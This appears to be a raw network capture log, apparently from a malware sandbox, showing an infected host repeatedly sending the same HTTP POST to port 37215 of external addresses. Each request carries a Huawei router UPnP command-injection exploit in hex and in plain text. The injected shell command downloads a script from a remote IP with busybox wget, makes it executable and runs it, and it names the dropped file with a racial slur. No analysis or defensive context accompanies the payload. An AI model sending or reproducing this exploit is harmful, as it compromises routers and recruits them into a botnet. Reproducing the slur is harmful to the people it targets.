Feb 19, 2024 18:36:04.591111898 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.718944073 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:14.862088919 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:26.892565966 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.744884968 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	44390	45.41.81.218	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:04.591248035 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.718945026 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:14.862088919 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:26.892565966 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
